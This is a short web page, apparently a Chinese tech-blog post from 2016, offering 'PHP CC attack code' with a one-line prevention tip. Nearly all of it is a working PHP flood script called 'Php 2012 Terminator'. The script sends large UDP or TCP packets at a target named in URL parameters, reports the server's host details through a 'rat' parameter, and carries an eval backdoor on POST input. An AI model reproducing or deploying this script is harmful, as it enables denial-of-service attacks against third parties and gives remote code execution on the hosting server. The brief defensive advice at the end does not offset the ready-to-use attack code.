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php cc attack code cc attack prevention method

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Release： 2016-07-25 08:54:25
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  2. eval($_POST[Chr(90)]);
  3. set_time_limit(86400);
  4. ignore_user_abort(True);
  5. $packets = 0;
  6. $http = $_GET['http'];
  7. $rand = $_GET['exit'];
  8. $exec_time = $_GET['time'];
  9. if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
  10. {
  11. if(StrLen($_GET['rat'])<>0)
  12. {
  13. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  14. exit;
  15. }
  16. echo "Php 2012 Terminator";
  17. exit;
  18. }
  19. for($i=0;$i<65535;$i++)
  20. {
  21. $out .= "X";
  22. }
  23. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  24. $max_time = time()+$exec_time;
  25. if($rand==53)
  26. while(1)
  27. {
  28. $packets++;
  29. if(time() > $max_time)
  30. {
  31. break;
  32. }
  33. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  34. if($fp)
  35. {
  36. fwrite($fp, $out);
  37. fclose($fp);
  38. }
  39. }
  40. else
  41. if($rand==500)
  42. while(1)
  43. {
  44. $packets++;
  45. if(time() > $max_time){
  46. break;
  47. }
  48. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  49. if($fp)
  50. {
  51. fwrite($fp, $out);
  52. fclose($fp);
  53. }
  54. }
  55. else
  56. while(1)
  57. {
  58. $packets++;
  59. if(time() > $max_time){
  60. break;
  61. }
  62. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  63. if($fp)
  64. {
  65. fwrite($fp, $out);
  66. fclose($fp);
  67. }
  68. }
  69. ?>
复制代码

对于cc攻击的防范，如果是动态页面，可以判断时间，如果是静态的网站，则需要服务器上安装防cc攻击的软件，一般服务器安全狗还是不错的。

对于php cc攻击的防范，要时刻注意。



Related labels：
php cc攻击代码 cc攻击防范方法
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